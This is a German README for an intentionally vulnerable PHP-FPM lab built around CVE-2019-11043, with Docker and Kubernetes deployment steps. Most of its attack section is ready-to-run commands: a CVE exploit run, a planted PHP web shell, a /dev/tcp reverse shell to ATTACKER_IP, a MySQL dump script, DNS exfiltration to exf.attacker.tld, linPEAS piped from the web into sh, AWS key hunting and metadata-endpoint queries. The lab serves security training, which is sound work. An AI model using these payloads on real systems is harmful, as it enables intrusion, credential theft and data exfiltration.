
Absichtlich verwundbares PHP-FPM-Labor zur Reproduktion von CVE-2019-11043 mit Docker- und Kubernetes-Bereitstellung, einschließlich Exploit-Schnellstart, Post-Exploitation-Übungen und Datenbankkonfigurations-UI.
Minimale PHP-App mit absichtlich verwundbarer Nginx/PHP-FPM-Konfiguration zur Reproduktion von CVE-2019-11043. Enthält einen kleinen Task-Manager, Login/Admin und eine DB-Konfigurations-UI.
# build
docker build -t cve-2019-11043-lab:app .
# run
docker run --rm -p 8080:80 cve-2019-11043-lab:app
# open
open http://localhost:8080/
Verwende phuip-fpizdam gegen status.php, lasse es Parameter erkennen und führe es dann mit --skip-detect erneut aus.
~/go/bin/phuip-fpizdam "http://localhost:8080/status.php"
Die App unterstützt sowohl SQLite als auch MySQL mit automatischer Erkennung:
sqlite:/var/www/html/data/app.sqlitemysql:host=hostname;port=3306;dbname=database;charset=utf8mb4Wenn diese Umgebungsvariablen gesetzt sind, überschreiben sie automatisch den DSN:
DB_HOST – Datenbank-HostnameDB_PORT – Datenbank-Port (Standard: 3306)DB_NAME – DatenbanknameDB_USER – Datenbank-BenutzernameDB_PASS – Datenbank-Passwortindex.php, login.php, admin.php)./health.php, das auch die DB-Konnektivität überprüft.Manifeste befinden sich unter k8s/:
k8s/secret.yaml: MySQL-Anmeldeinformationen (stringData-Platzhalter)k8s/mysql-deployment.yaml: MySQL Deployment + Servicek8s/app-deployment.yaml: App-Deployment (privilegiert) + Service; mountet Secret und setzt DB-Umgebungsvariablenk8s/ingress.yaml: Nginx Ingress-Routing zur AppDer Image-Platzhalter verwendet quay.io – ändere quay.io/your-org/cve-2019-11043-lab:app zu deinem Repository.
Reihenfolge der Anwendung:
kubectl apply -f k8s/secret.yaml
kubectl apply -f k8s/mysql-deployment.yaml
kubectl apply -f k8s/app-deployment.yaml
kubectl apply -f k8s/ingress.yaml
Ingress setzt einen Nginx Ingress Controller und taskapp.local DNS/Hosts voraus, die auf seine Adresse verweisen.
public/: Web-Root (Einstiegspunkte)app/: App-Helfer (config, db, auth, version)php/: PHP-FPM ini-Überschreibungenk8s/: Kubernetes-Manifestedata/: Laufzeitdaten (SQLite-DB, config)Melde dich unter /login.php mit admin / admin an (UI-Hinweis durch CSS versteckt).
Greife als Admin auf /db_config.php zu, um:
Dies ist eine absichtlich verwundbare Umgebung. Nicht in ungesicherten Netzwerken bereitstellen.
Baue und schiebe ein Multi-Arch-Image (linux/amd64, linux/arm64) auf quay.io.
Voraussetzungen: Docker Buildx (Docker Desktop enthält es). Optionale QEMU-Emulation: docker run --privileged --rm tonistiigi/binfmt --install all.
# set your repo once
export IMG=quay.io/your-org/cve-2019-11043-lab:app
# ensure buildx is ready
docker buildx create --use --name multi 2>/dev/null || docker buildx use multi
docker buildx inspect --bootstrap
# build and push multi-arch image
docker buildx build \
--platform linux/amd64,linux/arm64 \
-t "$IMG" \
-t "${IMG}-$(date +%Y%m%d)" \
--push .
# (optional) run locally on Apple Silicon as amd64
docker run --rm -p 8080:80 --platform linux/amd64 "$IMG"
Ziele setzen:
BASE=http://<your-elb-or-ingress-host>
TARGET="$BASE/status.php"
Exploit (Auto-Erkennung, dann letzter Durchlauf):
~/go/bin/phuip-fpizdam "$TARGET"
~/go/bin/phuip-fpizdam --skip-detect "$TARGET"
Eine kleine Web-Shell platzieren und Ausführung überprüfen:
# write /public/sh.php (cmd runner) via exploit's RCE primitive (examples vary by tool output)
# alternatively, if you have RCE already, you can curl it directly from your host:
curl -s "$BASE/" -o /dev/null # warmup
# minimal cmd runner served from your host
printf "<?php @system(
isset(\$_GET['c'])?\$_GET['c']:'id');" | sed "s/$/\n/" | base64 > sh.b64
# deliver via RCE or any write primitive to /var/www/html/public/sh.php
# validate:
curl -s "$BASE/sh.php?c=whoami"
Fahre mit den Post-Exploitation-Lab-Übungen unten fort für Reverse-Shell, MySQL-Dump, DNS-TXT-Exfiltration, linPEAS und AWS-Key-Suche.
Diese Schritte dienen nur zu Bildungszwecken in dieser Laborumgebung.
Setze deine Basis-URL und Angreifer-IP:
BASE=http://<your-elb-or-ingress-host>
ATTACKER_IP=<your-ip>
ATTACKER_PORT=4444
Nachdem du CVE-2019-11043 mit phuip-fpizdam ausgenutzt hast, verwende das RCE-Primitiv, um eine kleine Web-Shell zu schreiben. Wenn du bereits eine Shell im Container hast, führe aus:
# write /public/sh.php with a minimal cmd runner
printf "PD9waHAgQHN5c3RlbSgkX0dFVFsnYyddKTs/Pg==" | base64 -d | sudo tee /var/www/html/public/sh.php >/dev/null
Wenn du nur RCE (keine Shell) hast, führe denselben Base64-Write über das RCE-Primitiv aus (z.B. durch das Exploit-Tool).
Überprüfen:
curl -s "$BASE/sh.php?c=whoami"
curl -s "$BASE/sh.php?c=whoami"
Auf deinem Angreifer-Host:
nc -lvnp "$ATTACKER_PORT"
Vom Ziel auslösen (URL-kodierter Befehl):
ENC="bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'"
curl -g --data-urlencode c="$ENC" "$BASE/sh.php"
Falls bash nicht verfügbar ist, versuche:
ENC="sh -c 'sh -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'"
curl -g --data-urlencode c="$ENC" "$BASE/sh.php"
Option A (Cluster-Operator-Pfad):
kubectl exec deploy/mysql -- sh -lc 'mysqldump -u"$MYSQL_USER" -p"$MYSQL_PASSWORD" "$MYSQL_DATABASE" | gzip -c' > dump.sql.gz
Option B (über Web-Shell mit PHP PDO): schreibe ein schnelles Dump-Skript, das die App-Konfiguration verwendet:
# create /public/dump.php using the web shell RCE
cat <<'PHP' | base64 | tr -d '\n' | xargs -I{} curl -s "$BASE/sh.php?c=echo {} | base64 -d > /var/www/html/public/dump.php"
<?php
require __DIR__.'/../app/db.php';
$pdo=app_db_connect();
$tables=$pdo->query("SHOW TABLES")->fetchAll(PDO::FETCH_COLUMN);
foreach($tables as $t){
$rows=$pdo->query("SELECT * FROM `{$t}`")->fetchAll(PDO::FETCH_ASSOC);
echo "-- Table: {$t}\n";
echo json_encode($rows, JSON_UNESCAPED_UNICODE|JSON_UNESCAPED_SLASHES),"\n";
}
PHP
# fetch the dump
curl -s "$BASE/dump.php" | tee dump.json
Leite eine Testdomain, die du kontrollierst (z.B. exf.attacker.tld), auf einen Nameserver, den du abhörst (z.B. dnschef oder bind). Löse dann vom Ziel aus DNS-Abfragen aus, die Chunks transportieren:
# minimal PHP-based exfil using DNS queries
PHPONE='php -r '\''$d=file_get_contents("/var/www/html/public/dump.php");$b=base64_encode($d);$c=str_split($b,40);foreach($c as $i=>$x){gethostbyname("$i.".$x.".exf.attacker.tld");usleep(50000);} echo "done\n"; '\'''
curl -g --data-urlencode c="$PHPONE" "$BASE/sh.php"
Beobachte die Abfragen auf deinem Nameserver; rekonstruiere aus den Labels.
curl -sL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
# env vars
curl -s "$BASE/sh.php?c=env" | grep -E 'AWS_|AKIA'
# filesystem (possible secrets mounted, configs, code)
curl -s "$BASE/sh.php?c=grep -R --exclude-dir=proc --exclude-dir=sys -E "'"'AKIA[0-9A-Z]{16}'"'" / 2>/dev/null"
# instance metadata (if reachable; usually blocked from pods)
curl -s "$BASE/sh.php?c=curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/" || true
Nochmals: Führe diese Schritte nur innerhalb dieses Labors durch. Teste niemals Systeme, die dir nicht gehören oder für die du keine ausdrückliche Erlaubnis zur Bewertung hast.